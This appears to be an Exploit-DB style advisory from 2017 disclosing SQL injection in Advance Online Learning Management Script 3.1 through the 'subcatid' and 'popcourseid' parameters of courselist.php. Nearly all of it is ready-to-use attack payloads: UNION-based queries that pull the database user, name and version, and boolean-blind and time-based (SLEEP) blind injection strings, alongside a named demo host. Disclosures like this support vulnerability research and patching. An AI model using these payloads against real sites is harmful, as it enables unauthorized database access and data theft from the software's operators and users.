Advance Online Learning Management Script 3.1 - 'subcatid' / 'popcourseid' SQL Injection

# # # # #
# Exploit Title: Advance Online Learning Management Script 3.1 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/online-learning-management-script/
# Demo: http://thavasu.com/demo/online_education/
# Version: 3.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/courselist.php?subcatid=[SQL]
#
# -9'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39))--+-
#
# http://server/courselist.php?subcatid=-9'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39))--+-
#
# Parameter: subcatid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: subcatid=9' AND 7659=7659 AND 'Akrr'='Akrr
#
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: subcatid=9' AND SLEEP(5) AND 'DoFl'='DoFl
#
# 2)
# http://localhost/[PATH]/courselist.php?popcourseid=[SQL]
#
# 1'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39))--+-
#
# http://server/courselist.php?popcourseid=1'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39))--+-
#
# Parameter: popcourseid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: popcourseid=1' AND 9182=9182 AND 'vWmu'='vWmu
#
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: popcourseid=1' AND SLEEP(5) AND 'THTz'='THTz
#
# # # # #